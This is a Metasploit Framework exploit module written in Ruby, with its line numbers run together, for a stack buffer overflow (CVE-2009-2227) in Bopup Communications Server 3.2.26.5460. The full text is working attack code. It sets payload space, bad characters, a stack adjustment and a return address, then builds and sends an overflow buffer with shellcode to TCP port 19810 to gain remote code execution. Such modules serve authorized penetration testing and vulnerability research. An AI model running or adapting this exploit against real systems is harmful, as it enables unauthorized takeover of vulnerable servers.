|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82  |  ## # $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::Tcp  def initialize(info = {})  super(update_info(info,  'Name' => 'Bopup Communications Server Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.  By sending a specially crafted packet, an attacker may be  able to execute arbitrary code.  },  'Author' => [ 'MC' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 9262 $',  'References' =>  [  [ 'CVE', '2009-2227' ],  [ 'OSVDB', '55275' ],  [ 'URL', 'http://www.blabsoft.com/products/server' ],  [ 'URL', 'http://milw0rm.com/exploits/9002' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'thread',  },  'Payload'=>  {  'Space'=> 417,  'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  'StackAdjustment' => -3500,  'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  },  'Platform' => 'win',  'Targets'=>  [  [ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],  ],  'Privileged' => true,  'DefaultTarget'=> 0,  'DisclosureDate' => 'Jun 18 2009'))  register_options(  [  Opt::RPORT(19810)  ], self.class)  end  def exploit  connect  sploit =[0x00000001].pack('V')  sploit << rand_text_alpha_upper(829 - payload.encoded.length)  sploit << payload.encoded  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string  sploit << rand_text_alpha_upper(27)  sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)  sploit << [target.ret].pack('V')  print_status("Trying target #{target.name}...")  sock.put(sploit)  handler  disconnect  end end  |